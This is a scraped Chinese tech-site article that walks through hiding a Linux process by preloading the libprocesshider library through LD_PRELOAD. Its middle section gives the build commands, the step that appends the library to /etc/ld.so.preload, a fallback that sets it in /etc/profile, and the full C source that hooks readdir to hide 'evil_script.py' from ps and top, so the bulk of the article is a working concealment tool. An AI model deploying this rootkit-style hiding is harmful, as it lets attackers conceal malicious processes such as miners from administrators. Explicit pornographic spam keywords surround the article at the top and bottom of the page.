好湿?好紧?好多水好爽自慰,久久久噜久噜久久综合,成人做爰A片免费看黄冈,机机对机机30分钟无遮挡

主頁 > 知識庫 > linux 下隱藏進程的一種方法及遇到的坑

linux 下隱藏進程的一種方法及遇到的坑

熱門標簽:400電話申請找哪家公司 福州呼叫中心外呼系統哪家好 臨汾電銷機器人費用 地圖標注需要提交啥資料入駐 地圖標注w是什么方向 河南省鄭州市地圖標注 昆明外呼系統 新鄉人工智能電話機器人加盟 七大洲地圖標注

前言

1.本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下載

2.思路就是利用 LD_PRELOAD 來實現系統函數的劫持

LD_PRELOAD是什么:

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

實現

1.下載程序編譯

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2.移動文件到/usr/local/lib/目錄下

mv libprocesshider.so /usr/local/lib/

3.把它加載到全局動態連接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

測試

1.我們運行evil_script.py

2.此時發現在top 與 ps 中都無法找到 evil_script.py

此時我們發現 cpu 100%,但是卻找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";
/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
  int fd = dirfd(dirp);
  if(fd == -1) {
    return 0;
  }
  char tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    return 0;
  }
  buf[ret] = 0;
  return 1;
}
/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    return 0;
  }
  char tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  FILE* f = fopen(tmp, "r");
  if(f == NULL) {
    return 0;
  }
  if(fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    return 0;
  }
  fclose(f);
  int unused;
  sscanf(tmp, "%d (%[^)]s", &unused, buf);
  return 1;
}
#define DECLARE_READDIR(dirent, readdir)                \

static struct dirent* (*original_##readdir)(DIR*) = NULL;        \

struct dirent* readdir(DIR *dirp)                    \

{                                    \

  if(original_##readdir == NULL) {                  \

    original_##readdir = dlsym(RTLD_NEXT, "readdir");        \

    if(original_##readdir == NULL)                 \

    {                                \

      fprintf(stderr, "Error in dlsym: %s\n", dlerror());     \

    }                                \

  }                                  \

  struct dirent* dir;                         \

  while(1)                              \

  {                                  \

    dir = original_##readdir(dirp);                 \

    if(dir) {                            \

      char dir_name[256];                     \

      char process_name[256];                   \

      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&    \

        strcmp(dir_name, "/proc") == 0 &&            \

        get_process_name(dir->d_name, process_name) &&     \

        strcmp(process_name, process_to_filter) == 0) {     \

        continue;                        \

      }                              \

    }                                \

    break;                             \

  }                                  \

  return dir;                             \

}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

1.程序定義了一個變量 process_to_filter 來控制不顯示哪個進程名

2.重寫readdir,

strcmp(process_name, process_to_filter) == 0)

當發現當前進程名稱與 process_to_filter 相同時,繼續循環.

遇到的坑

1.某些Linux中這個程序編譯通不過

解決方法

刪除最后兩行中的一行

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

2.某些Linux中使用

shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
并不會生效
 此時我們需要配置環境變量
shell bmfxgkpt-yhd:~# vi /etc/profile
增加一行
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so

總結

以上所述是小編給大家介紹的linux 下隱藏進程的一種方法及遇到的坑,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對腳本之家網站的支持!

標簽:烏海 股票 臨沂 鎮江 岳陽 ???/a> 紅河 四川

巨人網絡通訊聲明:本文標題《linux 下隱藏進程的一種方法及遇到的坑》,本文關鍵詞  linux,下,隱藏,進程,的,一種,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《linux 下隱藏進程的一種方法及遇到的坑》相關的同類信息!
  • 本頁收集關于linux 下隱藏進程的一種方法及遇到的坑的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 狠狠色噜噜狠狠狠米奇9999| 狂揉吃奶胸高潮视频在线| www.91香蕉视频| 777电视最新免费版本更新内容| 东北骚| 鲁丝一区二区三区免费| 3d动漫美女被爆桶出水漫画| gv钙片男男无码亚洲欧美小说| 欧美激激情电影在线观看| 女人下面毛多又黑又厚| s货叫大声点c烂你的sb| 爽?好大?快?深一点视频| 国产成人精品一区二区三区… | 亚洲欧美一区二区三区四区| 韩国福利视频一区二区| 波多野结衣侵犯| h女主从小被c到大调教小说| 91九色精品人成在线观看| 国产经典竹菊影视A∨| 白虎网| 抢钱大作战| 空间军嫂富养六个军儿子| 亚洲AV无码专区十七级婬片毛片 | 久久久久精品人妻jul-036| 女教师婬辱の教室蜜臀A麻豆| 女肉文| 老师你的兔好软水好多直接看| 有没有人告诉你吉他谱c调| 精品国产91亚洲一区二区三区www| 色婷婷狠狠干| 轻点嗯啊| 明星系列短篇合集(21章)| 《美国式禁忌3》电影| 国产精品亚洲综合| 里番本子库h| 美女靠比| 轻点太大了| 总受肉多(H)| 大胸垂乳风流老妇| 男女打扑克视频| xnxx中国人|